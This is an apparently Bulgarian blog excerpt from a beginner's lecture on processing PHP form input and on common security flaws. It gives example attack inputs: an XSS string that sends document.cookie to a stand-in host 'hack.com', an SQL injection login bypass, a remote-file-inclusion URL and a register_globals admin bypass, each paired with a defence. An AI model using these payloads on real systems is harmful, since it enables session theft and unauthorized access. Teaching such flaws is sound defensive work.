Изработката на уеб сайтове днес изисква високо ниво на прецизност и сигурност по време на самото програмираме по отношение на важни аспекти от цялостната логика на проектиране и изграждане. Въпреки, че всеки се впечатлява повече на приятния уеб дизайн и визията на уеб сайтовете, програмирането е единствената част, която може реално да обработва всички данни, въведени от Интернет потребителите, както и да се грижи за тяхната сигурност.
Извадката от тази чудесна лекция, може да ви покаже прости и работещи подходи за това.
Данните, въведени от потребителя в полетата на HTML форма, са достъпни за PHP скриптовете като елемент на масивите $_GET, $_PUT и $_REQUEST, в зависимост от използвания за изпращане на формата метод. Достъпът до ел. на тези масиви става с имената на съответните полета от формата, използвани като индекси в масива. По тази причина във формите не е позволено да има два или повече елемента с еднакво име (с изключение на радиобутоните).
Следващия пример показва извличането на данните, изпратени от форма използваща POST метод:
<form name=”testForm” method=”post”>
Име: <input type=”text” name=”user” size=”30″ />
<br />
Парола: <input type=”password” name=”pass” size=”30″ />
<br /><br />
<input type=”submit” name=”submitBtn” value=”Изпрати” />
</form>
<?php
if( isset($_POST['submitBtn']) ) {
echo(‘Вашият акаунт: ‘.$_POST['user'].
‘ – ‘.$_POST['pass']);
}
?>
Тъй като в тага на формата липсва action атрибут, тя се изпраща на адреса, от който е заредена, така че при натискане на бутона страницата се презарежда.
Парам. user и pass, подадени във формата, са достъпни като ел. на $_POST. Отпечатва-нето им става само ако в същия масив има ел. с индекс submitBtn, т.е. ако бутонът е бил натиснат.
Извличането на стойност на други видове елементи на HTML формите става по аналогичен начин.
Всички заявки, изпратени от страници, които не съдържат форма, използваща POST метод, се предават по метода GET. При него е възможно включването на данни в самия URL на заявката. Тези данни са достъпни за PHP скриптовете като елементи на $_GET масива:
<a href=”test.php?name=nick&var=1″>Вариант 1<a/>
<a href=”test.php?name=nick&var=2″>Вариант 2<a/>
Потребителски данни и сигурност
Важен принцип в стратегията за обработване на данни, въведени от потребителя е че на потребителя не трябва да се вярва, а да се приеме че той има потенциално враждебни намерения. На всяко място, където потебителят би могъл да се намеси, трябва да се предвидят възможните атаки, и да се предприемат нужните мерки за предотвратяването им.
Ето основните проблеми в сигурността, свързани с въвеждане на данни от потебителите:
Глобални променливи. За улеснение на обработването на данни, подадени от потре-бителя, PHP езика предлага възможността за автоматично създаване на глобални пром. с името на всеки получен в заявката параметър. Това става ако register_globals има стойност ON в php.ini. Глобалните променливи създават опасност от пробив в сигурността, ако се пропусне инициа-лизирането им, както и ако не се прави проверка за коректността на стойностите им. Пример:
<?php
if( $username == ‘admin’ )
echo(‘Администратор’);
else
echo(‘Гост’);
?>
Ако променливата username, която в примера се използва за идентификация на текущия потребител, не е инициализирана по-рано, за да се получи неоторизиран административен достъп е достатъчно скриптът да бъде извикан така:
test.php?username=admin
По тези причини в инсталациите на PHP параметъ-рът register_globals има стойност по подразбиране OFF в php.ini, и не се препоръчва тя да се променя.
Включване на съдържание в PHP. При включване на съдържанието на файлове често се използват променливи за указване на името на файла. Ако тези променливи не бъдат коректно инициализирани, а параметърът register_globals е ON, се създава възможно най-лошата ситуация: безконтролно изпълнение на произволен код с неизвестен произход. Пример:
<?php include($path.’.php’); ?>
Ако скриптът с тази конструкция се извика така:
test.php?path=http://example.com/deleteall
то ще бъде изпълнен скриптът deleteall.php от непознат хост и с неконтролируеми ф-ии. Тази потенциална заплаха лесно се неутрализира с проверка за съществуването на файла на локалната машина:
<?php
if( file_exists($path.’.php’) )
require($path.’.php’);
?>
Враждебни клиентски скриптове. Възможността да бъде изпълнен клиентски скрипт (JavaScript например) създава опасност от открадване на бисквитки или друга поверителна информация. Това може да стане ако на атакуващия се даде възможност да включи свой скрипт в HTML потока на страницата. Пример:
<input type=”text” name=”email”
value=”<?php echo($_POST['email'])?>” />
Ако въведените от потебит. данни не се филтрират и в текстовата кутия бъде въведено:
“><script>location.href=’http://hack.com/steal.php?
cook=’+document.cookie;</script><a b=“
това ще доведе до запис на бисквитките, асоциирани с текущия документ, на адреса, въведен в кутията.
Инжектиране на SQL. Този вид атаки е възможен в случаите, когато се конструират SQL заявки, в които участват данни, въведени от потребителя. Пример:
$query = “SELECT * FROM users WHERE user=’”.$user. “‘ AND pass=’”.$pass.”‘”;
Ако променливата $user получава стойността си директно от потребителя и той е въвел
‘ OR user != ” OR user = ”
то на практика ще се формира SQL заявката
SELECT * FROM users WHERE user=” OR user != ”
OR user = ” AND pass=’xxx’
която ще даде положителен резултат, независимо какво е въведено като парола и ще осигури неоторизиран достъп на потребителя.
Филтрирането на въвежд. от потребителски данни осигурява защита от подобен вид атаки.
Лекцията е подходяща за всеки начинаещ уеб програмист и има за цел да демонстрира основни методи за реализация на посочените примери при обработка на данните в PHP, сигурност на заявките и др.
Trackbacks /
Pingbacks